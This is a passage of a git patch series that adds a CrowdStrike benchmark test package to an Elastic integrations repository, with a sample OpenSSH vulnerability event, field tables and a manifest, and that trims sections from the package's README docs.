1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}",
+        "type": [
+            "info"
+        ]
+    },
+    "host": {
+        "id": "897580adb4ab4540a357536faa41de18",
+        "ip": [
+            "1.128.0.0"
+        ],
+        "name": "ub24-50-10-154",
+        "os": {
+            "name": "Ubuntu 24.04",
+            "platform": "Linux",
+            "type": "linux"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "message": "A vulnerability was found in OpenSSH...",
+    "observer": {
+        "product": "Falcon sensor",
+        "type": "sensor",
+        "vendor": "Crowdstrike"
+    },
+    "package": {
+        "name": "openssh"
+    },
+    "related": {
+        "hosts": [
+            "ub24-50-10-154"
+        ],
+        "ip": [
+            "1.128.0.0"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-vulnerability"
+    ],
+    "vulnerability": {
+        "description": "A vulnerability was found in OpenSSH...",
+        "enumeration": "CVE",
+        "id": "CVE-2025-26465",
+        "reference": [
+            "https://ubuntu.com/security/CVE-2025-26465"
+        ],
+        "report_id": [
+            "scan-123456"
+        ],
+        "scanner": {
+            "vendor": "Crowdstrike"
+        },
+        "score": {
+            "base": 6.8
+        },
+        "severity": "Medium"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.vulnerability.aid |  | keyword |
+| crowdstrike.vulnerability.app.product_name_normalized |  | keyword |
+| crowdstrike.vulnerability.app.product_name_version |  | keyword |
+| crowdstrike.vulnerability.app.vendor_normalized |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.aid |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.cid |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp |  | date |
+| crowdstrike.vulnerability.apps.evaluation_logic.data_provider |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.description |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items |  | nested |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.status |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.title |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.type |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp |  | date |
+| crowdstrike.vulnerability.apps.patch_publication_date |  | date |
+| crowdstrike.vulnerability.apps.product_name_normalized |  | keyword |
+| crowdstrike.vulnerability.apps.product_name_version |  | keyword |
+| crowdstrike.vulnerability.apps.remediation.ids |  | keyword |
+| crowdstrike.vulnerability.apps.remediation_info.minimum_id |  | keyword |
+| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date |  | date |
+| crowdstrike.vulnerability.apps.remediation_info.recommended_id |  | keyword |
+| crowdstrike.vulnerability.apps.sub_status |  | keyword |
+| crowdstrike.vulnerability.apps.vendor_normalized |  | keyword |
+| crowdstrike.vulnerability.cid |  | keyword |
+| crowdstrike.vulnerability.closed_timestamp |  | date |
+| crowdstrike.vulnerability.confidence |  | keyword |
+| crowdstrike.vulnerability.created_timestamp |  | date |
+| crowdstrike.vulnerability.cve.actors |  | keyword |
+| crowdstrike.vulnerability.cve.base_score |  | double |
+| crowdstrike.vulnerability.cve.cisa_info.due_date |  | date |
+| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev |  | boolean |
+| crowdstrike.vulnerability.cve.cwes |  | keyword |
+| crowdstrike.vulnerability.cve.description |  | keyword |
+| crowdstrike.vulnerability.cve.exploit_status |  | long |
+| crowdstrike.vulnerability.cve.exploitability_score |  | double |
+| crowdstrike.vulnerability.cve.exprt_rating |  | keyword |
+| crowdstrike.vulnerability.cve.id |  | keyword |
+| crowdstrike.vulnerability.cve.impact_score |  | double |
+| crowdstrike.vulnerability.cve.name |  | keyword |
+| crowdstrike.vulnerability.cve.published_date |  | date |
+| crowdstrike.vulnerability.cve.references |  | keyword |
+| crowdstrike.vulnerability.cve.remediation_level |  | keyword |
+| crowdstrike.vulnerability.cve.severity |  | keyword |
+| crowdstrike.vulnerability.cve.spotlight_published_date |  | date |
+| crowdstrike.vulnerability.cve.types |  | keyword |
+| crowdstrike.vulnerability.cve.vector |  | keyword |
+| crowdstrike.vulnerability.cve.vendor_advisory |  | keyword |
+| crowdstrike.vulnerability.data_providers.ports |  | long |
+| crowdstrike.vulnerability.data_providers.provider |  | keyword |
+| crowdstrike.vulnerability.data_providers.rating |  | keyword |
+| crowdstrike.vulnerability.data_providers.scan_id |  | keyword |
+| crowdstrike.vulnerability.data_providers.scan_time |  | keyword |
+| crowdstrike.vulnerability.data_providers.scanner_id |  | keyword |
+| crowdstrike.vulnerability.host_info.asset_criticality |  | keyword |
+| crowdstrike.vulnerability.host_info.asset_roles |  | keyword |
+| crowdstrike.vulnerability.host_info.confidence_label |  | keyword |
+| crowdstrike.vulnerability.host_info.groups.id |  | keyword |
+| crowdstrike.vulnerability.host_info.groups.name |  | keyword |
+| crowdstrike.vulnerability.host_info.has_run_container |  | boolean |
+| crowdstrike.vulnerability.host_info.host_last_seen_timestamp |  | date |
+| crowdstrike.vulnerability.host_info.hostname |  | keyword |
+| crowdstrike.vulnerability.host_info.instance_id |  | keyword |
+| crowdstrike.vulnerability.host_info.internet_exposure |  | keyword |
+| crowdstrike.vulnerability.host_info.local_ip |  | ip |
+| crowdstrike.vulnerability.host_info.machine_domain |  | keyword |
+| crowdstrike.vulnerability.host_info.managed_by |  | keyword |
+| crowdstrike.vulnerability.host_info.os_build |  | keyword |
+| crowdstrike.vulnerability.host_info.os_version |  | keyword |
+| crowdstrike.vulnerability.host_info.ou |  | keyword |
+| crowdstrike.vulnerability.host_info.platform |  | keyword |
+| crowdstrike.vulnerability.host_info.product_type_desc |  | keyword |
+| crowdstrike.vulnerability.host_info.service_provider |  | keyword |
+| crowdstrike.vulnerability.host_info.service_provider_account_id |  | keyword |
+| crowdstrike.vulnerability.host_info.site_name |  | keyword |
+| crowdstrike.vulnerability.host_info.subsidiaries |  | keyword |
+| crowdstrike.vulnerability.host_info.system_manufacturer |  | keyword |
+| crowdstrike.vulnerability.host_info.tags |  | keyword |
+| crowdstrike.vulnerability.host_info.third_party_asset_ids |  | keyword |
+| crowdstrike.vulnerability.id |  | keyword |
+| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id |  | keyword |
+| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.action |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.id |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.link |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.patch_publication_date |  | date |
+| crowdstrike.vulnerability.remediation.entities.recommendation_type |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.reference |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.title |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.vendor_url |  | keyword |
+| crowdstrike.vulnerability.remediation.ids |  | keyword |
+| crowdstrike.vulnerability.services.port |  | long |
+| crowdstrike.vulnerability.services.protocol |  | keyword |
+| crowdstrike.vulnerability.services.transport |  | keyword |
+| crowdstrike.vulnerability.status |  | keyword |
+| crowdstrike.vulnerability.suppression_info.is_suppressed |  | boolean |
+| crowdstrike.vulnerability.suppression_info.reason |  | keyword |
+| crowdstrike.vulnerability.updated_timestamp |  | date |
+| crowdstrike.vulnerability.vulnerability_id |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
new file mode 100644
index 0000000000..454b43658e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
@@ -0,0 +1,164 @@
+name: crowdstrike
+title: CrowdStrike
+version: "3.5.0"
+description: Collect logs from Crowdstrike with Elastic Agent.
+type: integration
+format_version: "3.4.0"
+categories: [security, edr_xdr]
+conditions:
+  kibana:
+    version: "^8.18.0 || ^9.0.0"
+icons:
+  - src: /img/logo-integrations-crowdstrike.svg
+    title: CrowdStrike
+    size: 216x216
+    type: image/svg+xml
+screenshots:
+  - src: /img/siem-alerts-cs.jpg
+    title: CrowdStrike SIEM Alerts
+    size: 3360x1776
+    type: image/jpg
+  - src: /img/siem-events-cs.jpg
+    title: CrowdStrike SIEM Events
+    size: 3360x1776
+    type: image/jpg
+  - src: /img/cs-fdr1.png
+    title: CrowdStrike FDR Overview
+    size: 1535x626
+    type: image/png
+  - src: /img/cs-falcon1.png
+    title: CrowdStrike Falcon Overview
+    size: 1535x626
+    type: image/png
+  - src: /img/cs-overview1.png
+    title: CrowdStrike Overview
+    size: 1535x626
+    type: image/png
+  - src: /img/crowdstrike-alert-dashboard.png
+    title: CrowdStrike Alert
+    size: 1535x626
+    type: image/png
+  - src: /img/crowdstrike-host-dashboard.png
+    title: CrowdStrike Host
+    size: 1535x626
+    type: image/png
+  - src: /img/crowdstrike-vulnerability-dashboard.png
+    title: CrowdStrike Vulnerability
+    size: 1535x626
+    type: image/png
+policy_templates:
+  - name: crowdstrike
+    title: CrowdStrike
+    description: Collect logs from CrowdStrike Falcon and FDR
+    deployment_modes:
+      default:
+        enabled: true
+      agentless:
+        enabled: true
+        organization: security
+        division: engineering
+        team: security-service-integrations
+    inputs:
+      - type: logfile
+        title: "Collect CrowdStrike Falcon and FDR logs (input: logfile)"
+        description: "Collecting logs from CrowdStrike Falcon and FDR (input: logfile)"
+      - type: aws-s3
+        title: "Collect CrowdStrike Falcon Data Replicator logs (input: aws-s3)"
+        description: "Collecting logs from CrowdStrike Falcon Data Replicator (input: aws-s3)"
+      - type: streaming
+        title: Collect CrowdStrike Falcon Logs via Event Stream
+        description: Collecting CrowdStrike Falcon Logs via Event Stream.
+        vars:
+          - name: proxy_url
+            type: text
+            title: Proxy URL
+            multi: false
+            required: false
+            show_user: false
+            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Ensure your username and password are in URL encoded format.
+          - name: proxy_headers
+            type: yaml
+            title: Proxy headers
+            multi: false
+            required: false
+            show_user: false
+            description: This specifies the headers to be sent to the proxy server.
+      - type: cel
+        title: Collect CrowdStrike logs via API
+        description: Collecting CrowdStrike logs via API.
+        vars:
+          - name: client_id
+            type: text
+            title: Client ID
+            description: Client ID for the CrowdStrike.
+            multi: false
+            required: true
+            show_user: true
+          - name: client_secret
+            type: password
+            title: Client Secret
+            description: Client Secret for the CrowdStrike.
+            multi: false
+            required: true
+            show_user: true
+            secret: true
+          - name: url
+            type: text
+            title: URL
+            description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com
+            default: https://api.crowdstrike.com
+            required: true
+            show_user: true
+          - name: token_url
+            type: text
+            title: Token URL
+            description: Token URL of CrowdStrike.
+            default: https://api.crowdstrike.com/oauth2/token
+            required: true
+            show_user: false
+          - name: proxy_url
+            type: text
+            title: Proxy URL
+            multi: false
+            required: false
+            show_user: false
+            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
+          - name: proxy_headers
+            type: yaml
+            title: Proxy headers
+            multi: false
+            required: false
+            show_user: false
+            description: This specifies the headers to be sent to the proxy server.
+          - name: ssl
+            type: yaml
+            title: SSL Configuration
+            description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
+            multi: false
+            required: false
+            show_user: false
+            default: |
+              #certificate_authorities:
+              #  - |
+              #    -----BEGIN CERTIFICATE-----
+              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
+              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
+              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
+              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
+              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
+              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
+              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
+              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
+              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
+              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
+              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
+              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
+              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
+              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
+              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
+              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
+              #    sxSmbIUfc2SGJGCJD4I=
+              #    -----END CERTIFICATE-----
+owner:
+  github: elastic/security-service-integrations
+  type: elastic
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
new file mode 100644
index 0000000000..ab145056ed
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
@@ -0,0 +1,7 @@
+errors:
+  exclude_checks:
+    - SVR00001 # Saved query, but no filter.
+    - SVR00002
+    - SVR00004 # Saved search not allowed?
+    - SVR00005 # Kibana version for saved tags.
+    - JSE00001 # Array lists not recognised.

From 183b527f063405acd443938626977d5ae91fa462 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Feb 2026 22:17:14 +0530
Subject: [PATCH 03/19] fix build failure on test package

---
 .../_dev/build/docs/README.md                 |   54 -
 .../docs/README.md                            | 1276 +----------------
 .../img/crowdstrike-alert-dashboard.png       |  Bin 0 -> 791493 bytes
 .../img/crowdstrike-host-dashboard.png        |  Bin 0 -> 213390 bytes
 .../crowdstrike-vulnerability-dashboard.png   |  Bin 0 -> 599868 bytes
 .../img/cs-falcon1.png                        |  Bin 0 -> 216782 bytes
 .../img/cs-fdr1.png                           |  Bin 0 -> 293841 bytes
 .../img/cs-overview1.png                      |  Bin 0 -> 223737 bytes
 .../img/logo-integrations-crowdstrike.svg     |    1 +
 .../img/siem-alerts-cs.jpg                    |  Bin 0 -> 399141 bytes
 .../img/siem-events-cs.jpg                    |  Bin 0 -> 523409 bytes
 11 files changed, 8 insertions(+), 1323 deletions(-)
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-fdr1.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
index 9b9d1f476d..7c2c83bcf8 100644
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
@@ -97,40 +97,6 @@ This is the `Alert` dataset.
 
 {{fields "alert"}}
 
-### Falcon
-
-Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector.
-
-#### Falcon SIEM Connector configuration file
-
-By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector.
-
-Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect.
-
-Current supported event types are:
-- CustomerIOCEvent
-- DataProtectionDetectionSummaryEvent
-- DetectionSummaryEvent
-- EppDetectionSummaryEvent
-- IncidentSummaryEvent
-- UserActivityAuditEvent
-- AuthActivityAuditEvent
-- FirewallMatchEvent
-- RemoteResponseSessionStartEvent
-- RemoteResponseSessionEndEvent
-- CSPM Streaming events
-- CSPM Search events
-- IDP Incidents
-- IDP Summary events
-- Mobile Detection events
-- Recon Notification events
-- XDR Detection events
-- Scheduled Report Notification events
-
-{{fields "falcon"}}
-
-{{event "falcon"}}
-
 ### FDR
 
 The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
@@ -297,23 +263,3 @@ If the severity name is not available from the original document, it is determin
 {{fields "fdr"}}
 
 {{event "fdr"}}
-
-### Host
-
-This is the `Host` dataset.
-
-#### Example
-
-{{event "host"}}
-
-{{fields "host"}}
-
-### Vulnerability
-
-This is the `Vulnerability` dataset.
-
-#### Example
-
-{{event "vulnerability"}}
-
-{{fields "vulnerability"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
index 6c8dc59146..6598cc58b1 100644
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
@@ -754,519 +754,6 @@ An example event for `alert` looks as following:
 | threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
 
 
-### Falcon
-
-Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector.
-
-#### Falcon SIEM Connector configuration file
-
-By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector.
-
-Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect.
-
-Current supported event types are:
-- CustomerIOCEvent
-- DataProtectionDetectionSummaryEvent
-- DetectionSummaryEvent
-- EppDetectionSummaryEvent
-- IncidentSummaryEvent
-- UserActivityAuditEvent
-- AuthActivityAuditEvent
-- FirewallMatchEvent
-- RemoteResponseSessionStartEvent
-- RemoteResponseSessionEndEvent
-- CSPM Streaming events
-- CSPM Search events
-- IDP Incidents
-- IDP Summary events
-- Mobile Detection events
-- Recon Notification events
-- XDR Detection events
-- Scheduled Report Notification events
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword |
-| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword |
-| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword |
-| agent.version | Version of the agent. | keyword |
-| cloud.image.id | Image ID for the cloud instance. | keyword |
-| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date |
-| crowdstrike.event.AccountId |  | keyword |
-| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword |
-| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword |
-| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword |
-| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword |
-| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword |
-| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword |
-| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword |
-| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword |
-| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword |
-| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword |
-| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword |
-| crowdstrike.event.AgentId |  | keyword |
-| crowdstrike.event.AgentIdString |  | keyword |
-| crowdstrike.event.AggregateId |  | keyword |
-| crowdstrike.event.AnodeIndicators |  | nested |
-| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword |
-| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword |
-| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened |
-| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested |
-| crowdstrike.event.AuditKeyValues.Key |  | keyword |
-| crowdstrike.event.AuditKeyValues.ValueString |  | keyword |
-| crowdstrike.event.Category | IDP incident category. | keyword |
-| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword |
-| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword |
-| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested |
-| crowdstrike.event.CloudPlatform |  | keyword |
-| crowdstrike.event.CloudProvider |  | keyword |
-| crowdstrike.event.CloudService |  | keyword |
-| crowdstrike.event.Commands | Commands run in a remote session. | keyword |
-| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
-| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword |
-| crowdstrike.event.ContentPatternCounts |  | nested |
-| crowdstrike.event.ContentPatterns.ConfidenceLevel |  | long |
-| crowdstrike.event.ContentPatterns.ID |  | keyword |
-| crowdstrike.event.ContentPatterns.MatchCount |  | long |
-| crowdstrike.event.ContentPatterns.Name |  | keyword |
-| crowdstrike.event.CustomerId | Customer identifier. | keyword |
-| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword |
-| crowdstrike.event.Description |  | keyword |
-| crowdstrike.event.Destination |  | nested |
-| crowdstrike.event.Destination.Channel |  | keyword |
-| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword |
-| crowdstrike.event.DetectName | Name of the detection. | keyword |
-| crowdstrike.event.DetectionType |  | keyword |
-| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword |
-| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested |
-| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested |
-| crowdstrike.event.DomainName |  | keyword |
-| crowdstrike.event.EgressEventId |  | keyword |
-| crowdstrike.event.EgressSessionId |  | keyword |
-| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword |
-| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested |
-| crowdstrike.event.EventTimestamp |  | date |
-| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword |
-| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested |
-| crowdstrike.event.ExecutablesWritten.FileName |  | keyword |
-| crowdstrike.event.ExecutablesWritten.FilePath |  | keyword |
-| crowdstrike.event.ExecutablesWritten.Timestamp |  | keyword |
-| crowdstrike.event.ExecutionID |  | keyword |
-| crowdstrike.event.ExecutionMetadata.ExecutionDuration |  | long |
-| crowdstrike.event.ExecutionMetadata.ExecutionStart |  | date |
-| crowdstrike.event.ExecutionMetadata.ReportFileName |  | keyword |
-| crowdstrike.event.ExecutionMetadata.ResultCount |  | long |
-| crowdstrike.event.ExecutionMetadata.ResultID |  | keyword |
-| crowdstrike.event.ExecutionMetadata.SearchWindowEnd |  | date |
-| crowdstrike.event.ExecutionMetadata.SearchWindowStart |  | date |
-| crowdstrike.event.FalconHostLink |  | keyword |
-| crowdstrike.event.FileCategoryCounts |  | nested |
-| crowdstrike.event.FileName |  | keyword |
-| crowdstrike.event.FilePath |  | keyword |
-| crowdstrike.event.FileType.Type.CategoryID |  | keyword |
-| crowdstrike.event.FileType.Type.CategoryName |  | keyword |
-| crowdstrike.event.FileType.Type.Description |  | keyword |
-| crowdstrike.event.FileType.Type.ID |  | keyword |
-| crowdstrike.event.FileType.Type.Name |  | keyword |
-| crowdstrike.event.FilesAccessed.FileName |  | keyword |
-| crowdstrike.event.FilesAccessed.FilePath |  | keyword |
-| crowdstrike.event.FilesAccessed.Timestamp |  | date |
-| crowdstrike.event.FilesEgressedCount |  | long |
-| crowdstrike.event.FilesWritten.FileName |  | keyword |
-| crowdstrike.event.FilesWritten.FilePath |  | keyword |
-| crowdstrike.event.FilesWritten.Timestamp |  | date |
-| crowdstrike.event.Finding | The details of the finding. | keyword |
-| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float |
-| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean |
-| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean |
-| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean |
-| crowdstrike.event.GrandParentCommandLine |  | keyword |
-| crowdstrike.event.GrandParentImageFileName |  | keyword |
